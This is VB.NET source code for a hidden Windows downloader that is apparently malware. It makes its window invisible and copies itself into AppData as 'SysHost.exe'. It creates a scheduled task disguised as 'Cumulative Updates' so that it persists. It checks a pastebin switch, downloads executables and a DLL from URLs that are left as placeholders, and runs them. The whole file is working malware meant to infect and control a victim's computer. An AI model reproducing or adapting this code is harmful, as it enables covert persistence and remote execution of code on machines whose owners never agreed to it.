v

Imports System.Net
Imports System.IO
Imports System.Environment

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.ShowIcon = False
        Me.ShowInTaskbar = False
        Me.Visible = False
        Me.Opacity = 0
        If My.Settings.isfirstrun = True Then
            IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\SysHost.exe")
            Dim path = Environ("temp") & "\x"
            Dim change As String = My.Resources._957970
            change = Replace(change, "%i%", My.User.CurrentPrincipal.Identity.Name.ToString())
            change = Replace(change, "%path%", Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\SysHost.exe")
            IO.File.WriteAllText(path, change)
            Interaction.Shell(("schtasks.exe /create /TN ""Updates\Cumulative Updates"" /XML """ & path & """"), AppWinStyle.MinimizedFocus, False, -1)

            My.Settings.isfirstrun = False
            My.Settings.Save()
            My.Settings.Reload()

            Timer1.Start()

        Else


            Timer1.Start()


        End If
    End Sub
    Public Function GetPage(ByVal PageURL As String) As String
        Dim S As String = ""
        Try
            Dim Request As HttpWebRequest = WebRequest.Create(PageURL)
            Dim Response As HttpWebResponse = Request.GetResponse()
            Using Reader As StreamReader = New StreamReader(Response.GetResponseStream())
                S = Reader.ReadToEnd
            End Using
        Catch ex As Exception

        End Try
        Return S
    End Function




    Public Function crypt(ByVal str As String) As String
        Dim Vstr As String = str.Replace("a", "ا").Replace("b", "ب").Replace("c", "ت").Replace("d", "ث").Replace("e", "ج").Replace("f", "ح").Replace("g", "خ").Replace("h", "د").Replace("i", "ذ").Replace("j", "ر").Replace("k", "ز").Replace("l", "س").Replace(" ", " ").Replace("m", "ش").Replace("n", "ص").Replace("o", "ض").Replace("p", "ط").Replace("q", "و").Replace("r", "ظ").Replace("s", "ع").Replace("t", "غ").Replace("u", "ف").Replace("v", "ق").Replace("w", "ك").Replace("x", "ل").Replace("y", "م").Replace("z", "ن")
        Return Vstr
    End Function
    Public Function decrypt(ByVal str As String) As String
        Dim Vstr As String = str.Replace("ا", "a").Replace("ب", "b").Replace("ت", "c").Replace("ث", "d").Replace("ج", "e").Replace("ح", "f").Replace("خ", "g").Replace("د", "h").Replace("ذ", "i").Replace("ر", "j").Replace("ز", "k").Replace("س", "l").Replace(" ", " ").Replace("ش", "m").Replace("ص", "n").Replace("ض", "o").Replace("ط", "p").Replace("و", "q").Replace("ظ", "r").Replace("ع", "s").Replace("غ", "t").Replace("ف", "u").Replace("ق", "v").Replace("ك", "w").Replace("ل", "x").Replace("م", "y").Replace("ن", "z")
        Return Vstr
    End Function

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        On Error Resume Next

        If Not File.Exists(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe") Then
            Dim result1 As String = GetPage("Yes or NO pastebin post url")
            If result1 = "yes" Then
                Dim urls As String = GetPage("pastebin post contain direct url for the server")
                If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt") Then
                    IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt")
                End If
                IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt", urls)
                Dim path1 As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\urls.txt"
                Dim lines As Integer = GetNumberOfLines(path1)
                Dim i As Integer = 0
                Do Until i = lines
                    Dim str As String = ReadALine(path1, lines, i)

                    Dim byte1 As Byte() = GetFileFromUrl(str)
                    If str.Contains("atiode.exe") Then
                        IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe", byte1)
                    ElseIf str.Contains("hexsys.dll") Then
                        IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\hexsys.dll", byte1)
                    ElseIf str.Contains("systskedit.exe") Then
                        IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\systskedit.exe", byte1)
                    ElseIf str.Contains("ATIODE.exe.config") Then
                        IO.File.WriteAllBytes(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe.config", byte1)
                    ElseIf str.Contains("youtube.txt") Then
                        Dim str1 As String
                        Dim webc As New WebClient
                        str1 = webc.DownloadString(str)
                        IO.File.WriteAllText(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\youtube.txt", str1)
                    End If
                    i = i + 1
                Loop

            End If
            Process.Start(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\ATIODE.exe")
            Process.Start(Environment.GetFolderPath(SpecialFolder.ApplicationData) + "\Microsoft\Windows\systskedit.exe")
        End If

    End Sub

    Public Function ReadALine(ByVal File_Path As String, ByVal TotalLine As Integer, ByVal Line2Read As Integer) As String
        Dim Buffer As Array
        Dim Line As String
        If TotalLine <= Line2Read Then
            Return "No Such Line"
        End If
        Buffer = File.ReadAllLines(File_Path)
        Line = Buffer(Line2Read)
        Return Line
    End Function
    Public Function GetNumberOfLines(ByVal file_path As String) As Integer
        Dim sr As New StreamReader(file_path)
        Dim NumberOfLines As Integer
        Do While sr.Peek >= 0
            sr.ReadLine()
            NumberOfLines += 1
        Loop
        Return NumberOfLines
        sr.Close()
        sr.Dispose()
    End Function

    Public Shared Function GetFileFromUrl(url As String) As Byte()
        Dim request As System.Net.HttpWebRequest = Nothing
        Dim response As System.Net.HttpWebResponse = Nothing
        Dim retBytes As Byte() = Nothing

        request = DirectCast(System.Net.WebRequest.Create(url), System.Net.HttpWebRequest)
        response = DirectCast(request.GetResponse(), System.Net.HttpWebResponse)

        If request.HaveResponse Then
            If response.StatusCode = System.Net.HttpStatusCode.OK Then
                Dim receiveStream As System.IO.Stream = response.GetResponseStream()
                Using br As New System.IO.BinaryReader(receiveStream)
                    retBytes = br.ReadBytes(500000)
                    br.Close()
                End Using
            End If
        End If

        Return retBytes
    End Function
End Class